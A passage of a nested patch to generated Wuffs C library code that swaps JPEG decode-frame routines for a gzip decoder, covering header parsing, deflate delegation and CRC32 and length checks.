self->private_impl.f_lzw_prev_code = v_prev_code; ++ self->private_impl.f_lzw_width = v_width; ++ self->private_impl.f_lzw_bits = v_bits; ++ self->private_impl.f_lzw_n_bits = v_n_bits; ++ self->private_impl.f_lzw_output_wi = v_output_wi; + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- return status; ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func jpeg.decoder.decode_frame ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GIF) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GZIP) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_gzip__error__bad_checksum[] = "#gzip: bad checksum"; ++const char wuffs_gzip__error__bad_compression_method[] = "#gzip: bad compression method"; ++const char wuffs_gzip__error__bad_encoding_flags[] = "#gzip: bad encoding flags"; ++const char wuffs_gzip__error__bad_header[] = "#gzip: bad header"; ++const char wuffs_gzip__error__truncated_input[] = "#gzip: truncated input"; ++ ++// ---------------- Private Consts ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_jpeg__decoder__decode_frame( +- wuffs_jpeg__decoder* self, +- wuffs_base__pixel_buffer* a_dst, ++static wuffs_base__status ++wuffs_gzip__decoder__do_transform_io( ++ wuffs_gzip__decoder* self, ++ wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { ++ wuffs_base__slice_u8 a_workbuf); ++ ++// ---------------- VTables ++ ++const wuffs_base__io_transformer__func_ptrs ++wuffs_gzip__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++ (wuffs_base__optional_u63(*)(const void*))(&wuffs_gzip__decoder__dst_history_retain_length), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_gzip__decoder__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_gzip__decoder__set_quirk), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__slice_u8))(&wuffs_gzip__decoder__transform_io), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_gzip__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_gzip__decoder__initialize( ++ wuffs_gzip__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ { ++ wuffs_base__status z = wuffs_crc32__ieee_hasher__initialize( ++ &self->private_data.f_checksum, sizeof(self->private_data.f_checksum), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ { ++ wuffs_base__status z = wuffs_deflate__decoder__initialize( ++ &self->private_data.f_flate, sizeof(self->private_data.f_flate), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = ++ wuffs_base__io_transformer__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = ++ (const void*)(&wuffs_gzip__decoder__func_ptrs_for__wuffs_base__io_transformer); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_gzip__decoder* ++wuffs_gzip__decoder__alloc(void) { ++ wuffs_gzip__decoder* x = ++ (wuffs_gzip__decoder*)(calloc(1, sizeof(wuffs_gzip__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_gzip__decoder__initialize( ++ x, sizeof(wuffs_gzip__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_gzip__decoder(void) { ++ return sizeof(wuffs_gzip__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func gzip.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_gzip__decoder__get_quirk( ++ const wuffs_gzip__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func gzip.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_gzip__decoder__set_quirk( ++ wuffs_gzip__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (a_key == 1u) { ++ self->private_impl.f_ignore_checksum = (a_value > 0u); ++ return wuffs_base__make_status(NULL); ++ } ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func gzip.decoder.dst_history_retain_length ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_gzip__decoder__dst_history_retain_length( ++ const wuffs_gzip__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ ++ return wuffs_base__utility__make_optional_u63(true, 0u); ++} ++ ++// -------- func gzip.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_gzip__decoder__workbuf_len( ++ const wuffs_gzip__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__make_range_ii_u64(1u, 1u); ++} ++ ++// -------- func gzip.decoder.transform_io ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_gzip__decoder__transform_io( ++ wuffs_gzip__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +@@ -43525,65 +43930,41 @@ wuffs_jpeg__decoder__decode_frame( + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 3)) { ++ (self->private_impl.active_coroutine != 1)) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } + self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__status v_ddf_status = wuffs_base__make_status(NULL); +- wuffs_base__status v_swizzle_status = wuffs_base__make_status(NULL); +- uint32_t v_scan_count = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; ++ uint32_t coro_susp_point = self->private_impl.p_transform_io; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { +- v_scan_count = self->private_impl.f_scan_count; + { +- wuffs_base__status t_0 = wuffs_jpeg__decoder__do_decode_frame(self, +- a_dst, +- a_src, +- a_blend, +- a_workbuf, +- a_opts); +- v_ddf_status = t_0; +- } +- if ((v_ddf_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- v_ddf_status = wuffs_base__make_status(wuffs_jpeg__error__truncated_input); ++ wuffs_base__status t_0 = wuffs_gzip__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); ++ v_status = t_0; + } +- if (wuffs_base__status__is_error(&v_ddf_status) || (v_scan_count < self->private_impl.f_scan_count)) { +- if (self->private_impl.f_sof_marker >= 194u) { +- wuffs_jpeg__decoder__apply_progressive_idct(self, a_workbuf); +- } +- if (self->private_impl.f_num_components == 1u) { +- v_swizzle_status = wuffs_jpeg__decoder__swizzle_gray(self, a_dst, a_workbuf); +- } else { +- v_swizzle_status = wuffs_jpeg__decoder__swizzle_colorful(self, a_dst, a_workbuf); +- } +- if (wuffs_base__status__is_error(&v_ddf_status)) { +- status = v_ddf_status; +- goto exit; +- } else if (wuffs_base__status__is_error(&v_swizzle_status)) { +- status = v_swizzle_status; +- goto exit; +- } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_gzip__error__truncated_input); ++ goto exit; + } +- status = v_ddf_status; ++ status = v_status; + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } + + ok: +- self->private_impl.p_decode_frame[0] = 0; ++ self->private_impl.p_transform_io = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; + + goto exit; + exit: +@@ -43593,24 +43974,40 @@ wuffs_jpeg__decoder__decode_frame( + return status; + } + +-// -------- func jpeg.decoder.do_decode_frame ++// -------- func gzip.decoder.do_transform_io + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__do_decode_frame( +- wuffs_jpeg__decoder* self, +- wuffs_base__pixel_buffer* a_dst, ++wuffs_gzip__decoder__do_transform_io( ++ wuffs_gzip__decoder* self, ++ wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { ++ wuffs_base__slice_u8 a_workbuf) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_pixfmt = 0; ++ uint8_t v_c8 = 0; ++ uint8_t v_flags = 0; ++ uint16_t v_xlen = 0; ++ uint64_t v_mark = 0; ++ uint32_t v_checksum_have = 0; ++ uint32_t v_decoded_length_have = 0; + wuffs_base__status v_status = wuffs_base__make_status(NULL); +- uint8_t v_c = 0; +- uint8_t v_marker = 0; ++ uint32_t v_checksum_want = 0; ++ uint32_t v_decoded_length_want = 0; + ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -43622,236 +44019,269 @@ wuffs_jpeg__decoder__do_decode_frame( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; ++ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; + if (coro_susp_point) { +- v_marker = self->private_data.s_do_decode_frame[0].v_marker; ++ v_flags = self->private_data.s_do_transform_io.v_flags; ++ v_checksum_have = self->private_data.s_do_transform_io.v_checksum_have; ++ v_decoded_length_have = self->private_data.s_do_transform_io.v_decoded_length_have; ++ v_checksum_want = self->private_data.s_do_transform_io.v_checksum_want; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence == 64u) { +- } else if (self->private_impl.f_call_sequence < 64u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++ { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_jpeg__decoder__do_decode_frame_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- if (status.repr) { ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (v_c8 != 31u) { ++ status = wuffs_base__make_status(wuffs_gzip__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; + } +- v_pixfmt = 536870920u; +- if (self->private_impl.f_num_components > 1u) { +- v_pixfmt = 2415954056u; ++ if (v_c8 != 139u) { ++ status = wuffs_base__make_status(wuffs_gzip__error__bad_header); ++ goto exit; + } +- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, +- wuffs_base__pixel_buffer__pixel_format(a_dst), +- wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), +- wuffs_base__utility__make_pixel_format(v_pixfmt), +- wuffs_base__utility__empty_slice_u8(), +- a_blend); +- if ( ! wuffs_base__status__is_ok(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- goto ok; ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; + } +- if (self->private_impl.f_components_workbuf_offsets[8u] > ((uint64_t)(a_workbuf.len))) { +- status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ if (v_c8 != 8u) { ++ status = wuffs_base__make_status(wuffs_gzip__error__bad_compression_method); + goto exit; +- } else if (self->private_impl.f_components_workbuf_offsets[4u] < self->private_impl.f_components_workbuf_offsets[8u]) { +- wuffs_base__bulk_memset(a_workbuf.ptr + self->private_impl.f_components_workbuf_offsets[4u], (self->private_impl.f_components_workbuf_offsets[8u] - self->private_impl.f_components_workbuf_offsets[4u]), 0u); + } +- if (self->private_impl.f_components_workbuf_offsets[4u] <= ((uint64_t)(a_workbuf.len))) { +- wuffs_base__bulk_memset(a_workbuf.ptr, self->private_impl.f_components_workbuf_offsets[4u], 128u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_flags = t_3; + } +- while (true) { ++ self->private_data.s_do_transform_io.scratch = 6u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (self->private_data.s_do_transform_io.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_transform_io.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_transform_io.scratch; ++ if (((uint8_t)(v_flags & 4u)) != 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ uint16_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_4 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; ++ if (num_bits_4 == 8) { ++ t_4 = ((uint16_t)(*scratch)); ++ break; ++ } ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)) << 56; ++ } ++ } ++ v_xlen = t_4; ++ } ++ self->private_data.s_do_transform_io.scratch = ((uint32_t)(v_xlen)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (self->private_data.s_do_transform_io.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_transform_io.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_transform_io.scratch; ++ } ++ if (((uint8_t)(v_flags & 8u)) != 0u) { + while (true) { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; + } +- if (v_c == 255u) { ++ if (v_c8 == 0u) { + break; + } + } ++ } ++ if (((uint8_t)(v_flags & 16u)) != 0u) { + while (true) { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; ++ uint8_t t_6 = *iop_a_src++; ++ v_c8 = t_6; + } +- if (v_c != 255u) { +- v_marker = v_c; ++ if (v_c8 == 0u) { + break; + } + } +- if (v_marker == 0u) { +- continue; +- } else if ((208u <= v_marker) && (v_marker <= 217u)) { +- if (v_marker <= 215u) { +- continue; ++ } ++ if (((uint8_t)(v_flags & 2u)) != 0u) { ++ self->private_data.s_do_transform_io.scratch = 2u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ if (self->private_data.s_do_transform_io.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_transform_io.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_transform_io.scratch; ++ } ++ if (((uint8_t)(v_flags & 224u)) != 0u) { ++ status = wuffs_base__make_status(wuffs_gzip__error__bad_encoding_flags); ++ goto exit; ++ } ++ while (true) { ++ v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); + } +- } else { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- uint32_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_2 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_frame[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_frame[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); +- if (num_bits_2 == 8) { +- t_2 = ((uint32_t)(*scratch >> 48)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)); +- } +- } +- self->private_impl.f_payload_length = t_2; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- if (self->private_impl.f_payload_length < 2u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); +- goto exit; ++ wuffs_base__status t_7 = wuffs_deflate__decoder__transform_io(&self->private_data.f_flate, a_dst, a_src, a_workbuf); ++ v_status = t_7; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; + } +- self->private_impl.f_payload_length -= 2u; + } +- if (v_marker < 192u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); +- goto exit; +- } else if (v_marker < 208u) { +- if (v_marker == 196u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- status = wuffs_jpeg__decoder__decode_dht(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { ++ if ( ! self->private_impl.f_ignore_checksum) { ++ v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_checksum, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); ++ v_decoded_length_have += ((uint32_t)(wuffs_private_impl__io__count_since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst))))); ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(12); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); ++ uint32_t t_8; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_8 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- continue; +- } else if (v_marker == 200u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); +- goto exit; +- } else if (v_marker < 224u) { +- if (v_marker < 217u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); +- goto exit; +- } else if (v_marker == 217u) { +- break; +- } else if (v_marker == 218u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- status = wuffs_jpeg__decoder__decode_sos(self, a_src, a_workbuf); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_8 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_8; ++ if (num_bits_8 == 24) { ++ t_8 = ((uint32_t)(*scratch)); ++ break; + } +- if (status.repr) { ++ num_bits_8 += 8u; ++ *scratch |= ((uint64_t)(num_bits_8)) << 56; ++ } ++ } ++ v_checksum_want = t_8; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); ++ uint32_t t_9; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_9 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- continue; +- } else if (v_marker == 219u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- status = wuffs_jpeg__decoder__decode_dqt(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- continue; +- } else if (v_marker == 221u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- status = wuffs_jpeg__decoder__decode_dri(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_9 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_9; ++ if (num_bits_9 == 24) { ++ t_9 = ((uint32_t)(*scratch)); ++ break; + } +- continue; +- } else { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); +- goto exit; +- } +- } else if (v_marker < 240u) { +- } else { +- if (v_marker == 254u) { +- } else { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); +- goto exit; ++ num_bits_9 += 8u; ++ *scratch |= ((uint64_t)(num_bits_9)) << 56; + } + } +- self->private_data.s_do_decode_frame[0].scratch = self->private_impl.f_payload_length; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- if (self->private_data.s_do_decode_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_frame[0].scratch; +- self->private_impl.f_payload_length = 0u; ++ v_decoded_length_want = t_9; ++ } ++ if ( ! self->private_impl.f_ignore_checksum && ((v_checksum_have != v_checksum_want) || (v_decoded_length_have != v_decoded_length_want))) { ++ status = wuffs_base__make_status(wuffs_gzip__error__bad_checksum); ++ goto exit; + } +- self->private_impl.f_call_sequence = 96u; + + ok: +- self->private_impl.p_do_decode_frame[0] = 0; ++ 